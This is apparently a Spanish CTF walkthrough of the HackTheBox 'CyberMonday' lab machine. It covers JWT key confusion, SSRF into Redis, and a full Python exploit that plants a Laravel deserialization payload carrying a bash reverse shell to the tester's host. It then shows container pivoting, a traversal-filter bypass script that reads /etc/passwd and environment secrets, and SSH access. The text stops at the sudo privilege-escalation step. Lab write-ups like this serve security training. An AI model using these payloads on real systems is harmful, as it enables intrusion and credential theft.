$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.KUV_kmYQR0jBkzt5nLR-FrHodQ7gH8H38E5eQT7nDgU -V -jw jwks.json \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.2.6 \______| @ticarpi Original JWT: JWKS Contents: Number of keys: 1 -------- Key 1 Key 1 [+] kty = RSA [+] use = sig [+] alg = RS256 [+] n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w [+] e = AQAB Found RSA key factors, generating a public key [+] kid_0_1692629246.pem Attempting to verify token using kid_0_1692629246.pem Invalid RSA algorithm The Public Key is invalid |
Una vez tenemos nuestra clave podemos utilizar la misma para generar un token con el cual autenticarnos en la api
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.KUV_kmYQR0jBkzt5nLR-FrHodQ7gH8H38E5eQT7nDgU -S hs256 -k kid_0_1692629246.pem \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.2.6 \______| @ticarpi Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] typ = "JWT" [+] alg = "HS256" Token payload values: [+] id = 1 [+] username = "admin" [+] role = "admin" ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ---------------------- jwttool_36847af24471935e5011deeb521f71d8 - Tampered token - HMAC Signing: [+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE |
Ahora con nuestro token vamos a crear un webhook
|
1 2 |
$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json" -d '{"name": "test", "description": "test", "action": "sendRequest", "url": "http://10.10.14.88"}' {"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"e21c756a-ce17-4541-b956-4e2500a3b09a"} |
Y llamaremos al mismo haciendo una petición a un servidor en python que levantamos previamente
|
1 2 3 4 5 |
$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/e21c756a-ce17-4541-b956-4e2500a3b09a \ -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" \ -H "Content-Type: application/json" \ -d '{"action": "sendRequest", "url": "http://10.10.14.88", "method": "GET"}' {"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<li><a href=\"test.txt\">test.txt<\/a><\/li>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n"} |
Y vemos que funciona
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.129.214.242 - - [21/Aug/2023 14:50:05] "GET / HTTP/1.1" 200 - |
Explotación de vuln de SSRF
Viendo el funcionamiento del webhook vamos a tratar de acceder a otros servicios internos del servidor, y revisando el fichero env que vimos antes podemos probar contra redis.
Así que vamos a ver si podemos utilizar nuestra máquina como esclavo, mandamos la petición
|
1 2 3 4 5 |
$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/e21c756a-ce17-4541-b956-4e2500a3b09a \ -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" \ -H "Content-Type: application/json" \ -d '{"action": "sendRequest", "url": "http://redis:6379/", "method": "SLAVEOF 10.10.14.88 4444 \r\nQUIT\r\n"}' {"status":"error","message":"URL is not live"} |
Vemos que nos devuelve un error, pero en nuestra escucha vemos que tenemos respuesta
|
1 2 3 4 5 6 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.88] from (UNKNOWN) [10.129.214.242] 59548 *1 $4 PING |
Así que podemos acceder a redis, aunque no obtengamos respuesta del mismo al hacer la petición.
Revisamos en detalle y el siguiente paso será modificar la cookie de sesión almacenada en redis con la idea de poder injectar un payload que nos permite llevar a cabo un RCE, así que para eso vamos a crear un script que nos haga todos estos pasos.
El script tendrá que ser capaz de
- Loguearse en la aplicación para obtener una cookie de sesión
- Descifrar la cookie para obtener el identificador con el cual se almacena la cookie en redis
- Generar un payload que lleve nuestra reverse shell
- Modificar la sesión en redis con nuestro payload
- Cargar la página de nuevo para ejecutar nuestro payload
Visto esto el script tendría las siguientes partes.
Desciframos la cookie con el siguiente trozo de código
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) return '' ... app_key = 'EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=' key = base64.b64decode(app_key) session = str(decrypt(str(s.cookies['cybermonday_session'].replace('%3D', '=')))).split('|')[1].split('\\')[0] |
Generamos un payload con nuestra revshell, para ello he utilizado phpggc
|
1 2 |
$ phpggc -A Laravel/RCE10 system "bash -c 'bash -i >& /dev/tcp/10.10.14.88/4444 0>&1'" O:38:"Illuminate\Validation\Rules\RequiredIf":1:{S:9:"\63\6f\6e\64\69\74\69\6f\6e";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{S:8:"\63\61\6c\6c\62\61\63\6b";S:14:"\63\61\6c\6c\5f\75\73\65\72\5f\66\75\6e\63";S:7:"\72\65\71\75\65\73\74";S:6:"\73\79\73\74\65\6d";S:8:"\70\72\6f\76\69\64\65\72";S:51:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\34\2e\38\38\2f\34\34\34\34\20\30\3e\26\31\27";}i:1;S:4:"\75\73\65\72";}} |
En el payload es vital escapar los caracteres \ y » para evitar errores y que funcione tal y como esperamos
Y modificaremos la sesión en redis
|
1 2 3 4 5 6 7 |
data = { "url": "http://redis:6379/", "method": "SET laravel_session:" + session + " '" + payload + "'\r\n" } # send payload r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/' + str(uuid), headers=headers, data=json.dumps(data)) |
Vistas las partes críticas del mismo el código final sería el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
import os import json import hashlib import sys import hmac import base64 import string import random import requests from Crypto.Cipher import AES from phpserialize import loads, dumps import requests def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) return '' # create sesion s = requests.Session() # login on app s.post('http://cybermonday.htb/login', data={"email": "bytemind%40cybermonday.htb", "password":"bytemind"}) # get session value app_key = 'EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=' key = base64.b64decode(app_key) session = str(decrypt(str(s.cookies['cybermonday_session'].replace('%3D', '=')))).split('|')[1].split('\\')[0] # define some needed vars # phpggc -A Laravel/RCE10 system \"bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'" payload='O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\":1:{S:9:\"\\63\\6f\\6e\\64\\69\\74\\69\\6f\\6e\";a:2:{i:0;O:28:\"Illuminate\\Auth\\RequestGuard\":3:{S:8:\"\\63\\61\\6c\\6c\\62\\61\\63\\6b\";S:14:\"\\63\\61\\6c\\6c\\5f\\75\\73\\65\\72\\5f\\66\\75\\6e\\63\";S:7:\"\\72\\65\\71\\75\\65\\73\\74\";S:6:\"\\73\\79\\73\\74\\65\\6d\";S:8:\"\\70\\72\\6f\\76\\69\\64\\65\\72\";S:51:\"\\62\\61\\73\\68\\20\\2d\\63\\20\\27\\62\\61\\73\\68\\20\\2d\\69\\20\\3e\\26\\20\\2f\\64\\65\\76\\2f\\74\\63\\70\\2f\\31\\30\\2e\\31\\30\\2e\\31\\34\\2e\\31\\36\\2f\\34\\34\\34\\34\\20\\30\\3e\\26\\31\\27\";}i:1;S:4:\"\\75\\73\\65\\72\";}}' token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" headers = { "Content-Type": "application/json", "x-access-token": token } # create webhook data = { "name": "test" + str(''.join(random.choices(string.digits, k=5))), "description": "test", "action": "sendRequest" } r = json.loads(requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/create', headers=headers, data=json.dumps(data)).text) uuid = r['webhook_uuid'] data = { "url": "http://redis:6379/", "method": "SET laravel_session:" + session + " '" + payload + "'\r\n" } # send payload r = requests.post('http://webhooks-api-beta.cybermonday.htb/webhooks/' + str(uuid), headers=headers, data=json.dumps(data)) # load session and exploit a=s.get('http://cybermonday.htb/home') |
Una vez lo tenemos todo ejecutamos
|
1 |
$ python3 exploit.py |
Y tenemos una revshell al contenedor
|
1 2 3 4 5 6 7 8 9 |
$ nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.88] from (UNKNOWN) [10.129.216.12] 60410 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@070370e2cdc4:~/html/public$ whoami whoami www-data www-data@070370e2cdc4:~/html/public$ |
Enumerando el contenedor
Ahora dentro del contenedor enumeramos el mismo.
Mirando el fichero route sacamos la ip en formato hex
|
1 2 3 4 5 |
www-data@070370e2cdc4:~/html/public$ cat /proc/net/route cat /proc/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT eth0 00000000 010012AC 0003 0 0 0 00000000 0 0 0 eth0 000012AC 00000000 0001 0 0 0 0000FFFF 0 0 0 |
La convertimos y tenemos una ip en claro 172.18.0.1
Y si miramos el fichero hosts obtenemos la ip de este contenedor
|
1 2 3 4 5 6 7 8 9 |
www-data@070370e2cdc4:~/html/public$ cat /etc/hosts cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.18.0.7 070370e2cdc4 |
No hay ping, ni nada que nos pueda ayudar a enumerar el resto de contenedores existentes así que nos descargamos una versión estática de nmap para enumerar la misma.
Ejecutamos la misma sobre el cidr /24 completo y descubrimos una máquina con un registry de docker:
|
1 2 3 4 5 6 7 8 |
... Nmap scan report for cybermonday_registry_1.cybermonday_default (172.18.0.4) Host is up, received user-set (0.0017s latency). Scanned at 2023-08-23 20:22:37 UTC for 73s Not shown: 5999 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 5000/tcp open http syn-ack Docker Registry (API: 2.0) ... |
Si revisamos la máquina descubrimos también un punto de montaje en la ruta /mnt donde vemos la clave pública de un usuario en su fichero authorized_keys y con ello su nombre
|
1 2 3 |
www-data@070370e2cdc4:/mnt/.ssh$ cat authorized_keys cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCy9ETY9f4YGlxIufnXgnIZGcV4pdk94RHW9DExKFNo7iEvAnjMFnyqzGOJQZ623wqvm2WS577WlLFYTGVe4gVkV2LJm8NISndp9DG9l1y62o1qpXkIkYCsP0p87zcQ5MPiXhhVmBR3XsOd9MqtZ6uqRiALj00qGDAc+hlfeSRFo3epHrcwVxAd41vCU8uQiAtJYpFe5l6xw1VGtaLmDeyektJ7QM0ayUHi0dlxcD8rLX+Btnq/xzuoRzXOpxfJEMm93g+tk3sagCkkfYgUEHp6YimLUqgDNNjIcgEpnoefR2XZ8EuLU+G/4aSNgd03+q0gqsnrzX3Syc5eWYyC4wZ93f++EePHoPkObppZS597JiWMgQYqxylmNgNqxu/1mPrdjterYjQ26PmjJlfex6/BaJWTKvJeHAemqi57VkcwCkBA9gRkHi9SLVhFlqJnesFBcgrgLDeG7lzLMseHHGjtb113KB0NXm49rEJKe6ML6exDucGHyHZKV9zgzN9uY4ntp2T86uTFWSq4U2VqLYgg6YjEFsthqDTYLtzHer/8smFqF6gbhsj7cudrWap/Dm88DDa3RW3NBvqwHS6E9mJNYlNtjiTXyV2TNo9TEKchSoIncOxocQv0wcrxoxSjJx7lag9F13xUr/h6nzypKr5C8GGU+pCu70MieA8E23lWtw== john@cybermonday |
Obtención de los datos del docker registry
No podemos acceder desde nuestra máquina así que subimos el binario de chisel y levantamos un servidor en nuestro kali
|
1 2 3 4 |
$ ./chisel server --port 9000 --reverse 2023/08/23 20:24:13 server: Reverse tunnelling enabled 2023/08/23 20:24:13 server: Fingerprint smksrjAaMRt9m+H1GWjO9KpQFW6ix2yaFbA7WCTkYlU= 2023/08/23 20:24:13 server: Listening on http://0.0.0.0:9000 |
Y nos mandamos el puerto 5000
|
1 2 3 4 |
www-data@070370e2cdc4:~/html/public$ ./chisel client 10.10.14.16:9000 R:5000:172.18.0.4:5000 <isel client 10.10.14.16:9000 R:5000:172.18.0.4:5000 2023/08/23 20:29:31 client: Connecting to ws://10.10.14.16:9000 2023/08/23 20:29:31 client: Connected (Latency 78.77194ms) |
Una vez hecho utilizaremos la herramienta DockerRegistryGrabber para traernos su contenido
Descubrimos primero las imágenes
|
1 2 3 4 5 6 |
$ python3 DockerGraber.py http://127.0.0.1 --list [+]======================================================[+] [|] Docker Registry Grabber v1 @SyzikSecu [|] [+]======================================================[+] [+] cybermonday_api |
Y nos descargamos todo su contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ python3 DockerGraber.py http://127.0.0.1 --dump cybermonday_api [+]======================================================[+] [|] Docker Registry Grabber v1 @SyzikSecu [|] [+]======================================================[+] [+] BlobSum found 27 [+] Dumping cybermonday_api [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce [+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1 [+] Downloading : 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f [+] Downloading : 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c [+] Downloading : 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33 [+] Downloading : 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb [+] Downloading : 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70 [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7 |
Extraemos el contenido de todos ellos y en dos vemos el código de la API en la ruta var/www/html/app
Explotando LFI en la API
Revisamos el código de la api y vemos un endpoint que no estaba documentado antes, se trata de logs

Y si revisamos el código vemos que hay una vulnerabilidad a la hora de acceder a la lectura de los ficheros de log

Si analizamos el mismo vemos que realiza 4 comprobaciones
- Revisa que no existan los caracteres ../ seguidos
- Elimina los espacios
- Revisa que el nombre del fichero incluya el string log
- Comprueba que el fichero existe
Visto esta parte podemos saltarnos la restricción utilizando . ./ en lugar de ../ y echando un directorio atras en primer lugar para volver a entrar al directorio logs e incluir la palabra log.
Para explotar esto hemos hecho otro pequeño script que sería el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#!/bin/bash token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" name=$(echo "test$RANDOM") # create webhook data=$(curl -s -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create \ -H "x-access-token: ${token}" \ -H "Content-Type: application/json" \ -d "{\"name\": \"$name\", \"description\": \"test3\", \"action\": \"createLogFile\"}") echo $data uuid=$(echo $data | jq .webhook_uuid | cut -d '"' -f 2) # create log curl -s -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/$uuid \ -H "x-access-token: ${token}" \ -H "Content-Type: application/json" \ -d "{\"log_name\": \"$name\", \"log_content\":\"anything\"}" echo # list logs log=$(curl -s -X POST "http://webhooks-api-beta.cybermonday.htb/webhook/$uuid/logs" \ -H "x-access-token: ${token}" \ -H "Content-Type: application/json" \ -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" \ -d "{\"action\":\"list\"}") logname=$(echo $log | jq .message[0] | tr '"' ' ') # and read log curl -s -X POST http://webhooks-api-beta.cybermonday.htb/webhook/$uuid/logs \ -H "x-access-token: ${token}" \ -H "Content-Type: application/json" \ -H "x-api-key: 22892e36-1770-11ee-be56-0242ac120002" \ -d "{\"action\":\"read\", \"log_name\": \". ./. ./logs/$1\"}" |
Y ejecutaremos el mismo para obtener el fichero passwd
|
1 2 3 4 |
$ bash get-webhook.sh '. ./etc/passwd' {"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"ed5f7faf-5528-4ad1-96c8-196910a7f617"} {"status":"success","message":"Log created"} {"status":"success","message":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n"} |
Ahora ya vemos que funciona así que vamos a traernos las variables de entorno del proceso en ejecución
|
1 2 3 4 |
$ bash get-webhook.sh '. ./proc/self/environ' {"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"d9b78549-5f5d-4a3d-8185-3bc4e49cf376"} {"status":"success","message":"Log created"} {"status":"success","message":"HOSTNAME=e1862f4e1242\u0000PHP_INI_DIR=\/usr\/local\/etc\/php\u0000HOME=\/root\u0000PHP_LDFLAGS=-Wl,-O1 -pie\u0000PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000DBPASS=ngFfX2L71Nu\u0000PHP_VERSION=8.2.7\u0000GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\u0000PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\u0000PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\u0000PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\u0000DBHOST=db\u0000DBUSER=dbuser\u0000PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\u0000DBNAME=webhooks_api\u0000PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\u0000PWD=\/var\/www\/html\u0000PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\u0000"} |
Y en las mismas encontramos una password que utilizaremos para acceder con el usuario john que vimos anteriormente.
Obteniendo la flag de user
Accedemos por ssh con las claves obtenidas y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh john@cybermonday.htb The authenticity of host 'cybermonday.htb (10.10.11.228)' can't be established. ED25519 key fingerprint is SHA256:KN9ev9G8u8Q4yY10fnm1hyEg8EbMvMRHxvDvCxRf6do. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'cybermonday.htb' (ED25519) to the list of known hosts. john@cybermonday.htb's password: Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. john@cybermonday:~$ id uid=1000(john) gid=1000(john) groups=1000(john) john@cybermonday:~$ cat user.txt 5e3a50a72f08663d105db0f1cb97f5bf john@cybermonday:~$ |
Escalado de privilegios
Una vez dentro, revisamos los permisos del usuario
|
1 2 3 4 5 6 7 8 |
john@cybermonday:~$ sudo -l [sudo] password for john: Matching Defaults entries for john on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User john may run the following commands on localhost: (root) /opt/secure_compose.py *.yml john@cybermonday:~$ |
Y puede ejecutar como root el script secure_compose.py cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 |
#!/usr/bin/python3 import sys, yaml, os, random, string, shutil, subprocess, signal def get_user(): return os.environ.get("SUDO_USER") def is_path_inside_whitelist(path): whitelist = [f"/home/{get_user()}", "/mnt"] for allowed_path in whitelist: if os.path.abspath(path).startswith(os.path.abspath(allowed_path)): return True return False def check_whitelist(volumes): for volume in volumes: parts = volume.split(":") if len(parts) == 3 and not is_path_inside_whitelist(parts[0]): return False return True def check_read_only(volumes): for volume in volumes: if not volume.endswith(":ro"): return False return True def check_no_symlinks(volumes): for volume in volumes: parts = volume.split(":") path = parts[0] if os.path.islink(path): return False return True def check_no_privileged(services): for service, config in services.items(): if "privileged" in config and config["privileged"] is True: return False return True def main(filename): if not os.path.exists(filename): print(f"File not found") return False with open(filename, "r") as file: try: data = yaml.safe_load(file) except yaml.YAMLError as e: print(f"Error: {e}") return False if "services" not in data: print("Invalid docker-compose.yml") return False services = data["services"] if not check_no_privileged(services): print("Privileged mode is not allowed.") return False for service, config in services.items(): if "volumes" in config: volumes = config["volumes"] if not check_whitelist(volumes) or not check_read_only(volumes): print(f"Service '{service}' is malicious.") return False if not check_no_symlinks(volumes): print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.") return False return True def create_random_temp_dir(): letters_digits = string.ascii_letters + string.digits random_str = ''.join(random.choice(letters_digits) for i in range(6)) temp_dir = f"/tmp/tmp-{random_str}" return temp_dir def copy_docker_compose_to_temp_dir(filename, temp_dir): os.makedirs(temp_dir, exist_ok=True) shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml")) def cleanup(temp_dir): subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) shutil.rmtree(temp_dir) def signal_handler(sig, frame): print("\nSIGINT received. Cleaning up...") cleanup(temp_dir) sys.exit(1) if __name__ == "__main__": if len(sys.argv) != 2: print(f"Use: {sys.argv[0]} <docker-compose.yml>") sys.exit(1) filename = sys.argv[1] if main(filename): temp_dir = create_random_temp_dir() copy_docker_compose_to_temp_dir(filename, temp_dir) os.chdir(temp_dir) signal.signal(signal.SIGINT, signal_handler) print("Starting services...") result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) print("Finishing services") cleanup(temp_dir) |
El mismo necesita que se le pase como argumento un fichero yaml con la configuración de un entorno de docker compose.
